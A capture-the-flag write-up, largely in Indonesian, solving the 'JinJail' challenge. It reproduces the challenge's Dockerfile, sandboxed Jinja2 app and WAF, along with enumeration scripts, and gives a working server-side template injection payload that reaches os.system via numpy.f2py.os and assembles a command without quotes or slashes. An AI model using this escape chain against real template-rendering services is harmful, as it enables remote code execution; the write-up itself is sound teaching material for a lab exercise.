Writeup Aria
C2C QualificationMisc

JinJail

1771182846709

description

Author: daffainfo

Pyjail? No, this is JinJail!

Attachments

docker-compose.yml

services:
  misc-flaskjail:
    build: .
    ports:
      - 32811:13337
    deploy:
      resources:
        limits:
          cpus: "0.5"
          memory: "256M"
        reservations:
          cpus: "0.25"
          memory: "128M"

Dockerfile

FROM python:3.11-slim

RUN adduser ctf

WORKDIR /app

ENV PYTHONDONTWRITEBYTECODE=1 \
    PYTHONUNBUFFERED=1

RUN apt-get update && \
    apt-get -y install socat gcc && \
    rm -rf /var/lib/apt/lists/*

COPY app.py requirements.txt ./
COPY flag.txt /root/flag.txt

RUN pip install --no-cache-dir -r requirements.txt

RUN chmod 400 /root/flag.txt && \
    chown root:root /root/flag.txt

RUN chown -R ctf:ctf /app

COPY fix.c /tmp/fix.c
RUN gcc /tmp/fix.c -o /fix
RUN rm /tmp/fix.c
RUN chmod 4755 /fix

EXPOSE 13337

ENTRYPOINT ["socat", "TCP-LISTEN:13337,reuseaddr,fork,nodelay,su=ctf", "EXEC:'timeout 30 python3 app.py'"]

requirements.txt

Jinja2
numpy

app.py

import numpy
import string
from functools import wraps
from collections import Counter
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
env.globals["numpy"] = numpy

def waf(content):
    allowlist = set(string.ascii_lowercase + string.ascii_uppercase + string.punctuation + string.digits + ' ')
    blocklist = ['fromfile', 'savetxt', 'load', 'array', 'packbits', 'ctypes', 'eval', 'exec', 'breakpoint', 'input', '+', '-', '/', '\\', '|', '"', "'"]
    char_limits = {
        '(': 3,
        ')': 3,
        '[': 3,
        ']': 3,
        '{': 3,
        '}': 3,
        ',': 10
    }

    if len(content) > 275:
        raise ValueError("Nope")

    for ch in content:
        if ch not in allowlist:
            raise ValueError("Nope")

    lower_value = content.lower()
    for blocked in blocklist:
        if blocked.lower() in lower_value:
            raise ValueError("Nope")

    counter = Counter(ch for ch in content if ch in char_limits)
    for ch, count in counter.items():
        if count > char_limits[ch]:
            raise ValueError("Nope")

def main():
    content = input(">>> ")

    try:
        waf(content)
        result = env.from_string(content).render()
        print(result)
    except ValueError as e:
        print(e.args[0])
    except Exception:
        print("Nope")

if __name__ == "__main__":
    main()

fix.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>

int main(int argc, char *argv[]) {
    if (argc > 1 && strcasecmp(argv[1], "help") == 0) {
        setuid(0);
        system("cat /root/flag.txt");
    } else {
        printf("Nope, you didnt ask for help...\n");
    }
    return 0;
}

Overview

Challenge ini adalah Jinja2 SSTI di dalam lingkungan Python Sandbox dengan WAF (Web Application Firewall) yang sangat ketat.

Tujuan: Menjalankan binary khusus /fix help (sesuai source code fix.c yang diberikan) untuk membaca flag.

WAF Restrictions

  • Blokir karakter kritis: +, -, /, \, quotes (', ").
  • Batas jumlah kurung: (), [], {} (sangat sedikit, mempersulit pemanggilan fungsi kompleks).
  • Blacklist keywords: class, mro, base, import, eval, exec, os, sys, dll.
  • Allowed global: Hanya library numpy yang tersedia secara eksplisit.

Enumeration (hasil dari AI)

disini saya menggunakan AI untuk membantu proses enumerasi, karena WAF yang sangat ketat membuat enumerasi manual menjadi sangat sulit dan memakan waktu. saya meminta AI utnuk memmbantu menganalisa source code attachment, mencari celah, danmembuatkan script untuk melakukan enumerasi otomatis.

ini adalah step enumerasi yang saya lakukan untuk memahami lingkungan dan mencari celah (sebenenrya scriptnya ada banyak tapi saya hanya akan tampilkan yang penting saja):

Step 1. Enumerate basic Jinja2 features

#!/usr/bin/env python3
import socket
import sys

# default fallback
DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337

# ambil dari argument
HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT

payloads = [
    "{{7*7}}",
    "{{numpy}}",
    "{{numpy.core}}",
    "{{numpy.lib}}",
    "{{numpy.compat}}",
    "{{numpy.linalg}}",
    "{{numpy.random}}",
    "{{numpy.testing}}",
    "{{numpy.f2py}}",
    "{{numpy.f2py.os}}",
    "{{numpy.f2py.os.system}}",
    "{{numpy.f2py.os.sep}}",
]

def send_payload(payload):
    try:
        s = socket.create_connection((HOST, PORT))
        s.recv(1024)

        s.sendall(payload.encode() + b"\n")

        result = s.recv(4096).decode(errors="ignore")

        s.close()

        return result.strip()

    except Exception as e:
        return f"ERROR: {e}"


def main():
    print(f"=== JinJail Enumeration ===")
    print(f"Target: {HOST}:{PORT}\n")

    for payload in payloads:
        print(f"[PAYLOAD] {payload}")
        result = send_payload(payload)
        print(f"[RESULT] {result}")
        print("-" * 50)


if __name__ == "__main__":
    main()
python3 enum.py challenges.1pc.tf 29333

1771184981778

Step 2. Bypass Test WAF

#!/usr/bin/env python3
import socket
import sys

DEFAULT_HOST = "127.0.0.1"
DEFAULT_PORT = 13337

HOST = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT

payloads = [
    # test akses os module
    "{{numpy.f2py.os}}",
    # test ambil slash tanpa ketik /
    "{{numpy.f2py.os.sep}}",
    # test dict repr (buat dapetin string tanpa quotes)
    "{{dict(fix=1,help=1)}}",
    # test concat jadi string
    "{% set s=dict(fix=1,help=1)~1 %}{{s}}",
    # test slicing ambil fix
    "{% set s=dict(fix=1,help=1)~1 %}{{s[2:5]}}",
    # test slicing ambil help
    "{% set s=dict(fix=1,help=1)~1 %}{{s[12:16]}}",
    # test build string "/fix"
    "{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]}}",
    # test build string "/fix help"
    "{% set s=dict(fix=1,help=1)~1 %}{{numpy.f2py.os.sep~s[2:5]~s[7]~s[12:16]}}",
]

def send(payload):
    try:
        s = socket.create_connection((HOST, PORT))
        s.recv(1024)

        s.sendall(payload.encode() + b"\n")

        result = s.recv(4096).decode(errors="ignore")
        s.close()

        return result.strip()

    except Exception as e:
        return f"ERROR: {e}"


def main():

    print(f"=== WAF Bypass Tester ===")
    print(f"Target: {HOST}:{PORT}\n")

    for payload in payloads:

        print(f"[PAYLOAD]")
        print(payload)

        result = send(payload)

        print("[RESULT]")
        print(result)

        print("="*60)

if __name__ == "__main__":
    main()
python3 waf_bypass.py challenges.1pc.tf 29333

1771185165455

Langkah Penyelesaian

1. Persiapan Koneksi

Supaya nyaman trial payload, gunakan rlwrap:

while true; do rlwrap nc challenges.1pc.tf 37425; done

alt text

2. Mencari Celah Eksekusi (RCE)

Karena akses ke __builtins__, __class__, dan modul standar os/sys diblokir, kita harus mencari jalan lain. Library besar seperti NumPy sering mengekspos modul sistem secara tidak sengaja di sub-modulnya.

  • Percobaan 1: {{ numpy.os }} → Gagal (Error/None)
  • Percobaan 2: {{ numpy.f2py.os }} → Berhasil! Mengembalikan modul <module 'os' ...>

alt text

Ini celah untuk menjalankan perintah sistem.

3. Bypass Limitasi Karakter

Tantangan utama: membuat string /fix help tanpa quotes dan slash.

a. Mencari karakter / (slash)

  • Tidak bisa mengetik /, jadi cari variabel yang isinya slash:
    • {{ numpy.f2py.os.sep }} → Output: / alt text

b. Mencari string "fix" dan "help"

  • Tidak bisa mengetik "fix". Ide: gunakan dict() karena representasi string-nya (repr) mengandung nama key-nya.
    • Test: {{ dict(fix=1, help=1) }} → Output: {'fix': 1, 'help': 1} alt text

c. Mengubah dict ke string

  • Karena dict tidak bisa di-slice langsung, ubah ke string dengan ~ 1 (concat dengan integer):
    • Payload: {% set s = dict(fix=1, help=1) ~ 1 %}{{ s }} → Output: {'fix': 1, 'help': 1}1 alt text

d. Menghitung indeks karakter

String hasil: {'fix': 1, 'help': 1}1

String:

{ 'fix' : 1, 'help' : 1 }1
Index Table
Index0123456789101112131415161718192021
Char{'fix':1,'help':1}1
Visual Target Mapping
String: { 'fix' : 1, 'help' : 1 }1
Index :  0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
Char  :  { ' f i x ' : _ 1 ,  _  '  h  e  l  p  '  :  _  1  }  1
             ^ ^ ^        ^           ^  ^  ^  ^
             | | |        |           |  |  |  |
             f i x      space        h  e  l  p

Target:

  • /numpy.f2py.os.sep
  • fixs[2:5]
  • spasi → s[7]
  • helps[12:16]

4. Payload Final (Eksekusi Flag)

Langkah akhir: susun string /fix help dari potongan variabel, lalu eksekusi dengan numpy.

Step-by-step:

  1. Buat string sumber karakter:

    {% set s = dict(fix=1, help=1) ~ 1 %}

    Ini menghasilkan string: {'fix': 1, 'help': 1}1

  2. Rangkai perintah:

    • /numpy.f2py.os.sep
    • fixs[2:5]
    • spasi → s[7]
    • helps[12:16]
  3. Gabungkan dan eksekusi:

    {{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}

Payload lengkap:

{% set s = dict(fix=1, help=1) ~ 1 %}
{{ numpy.f2py.os.system(numpy.f2py.os.sep ~ s[2:5] ~ s[7] ~ s[12:16]) }}

alt text

Flag

C2C{damnnn_i_love_numpy_a5578d341afe}

On this page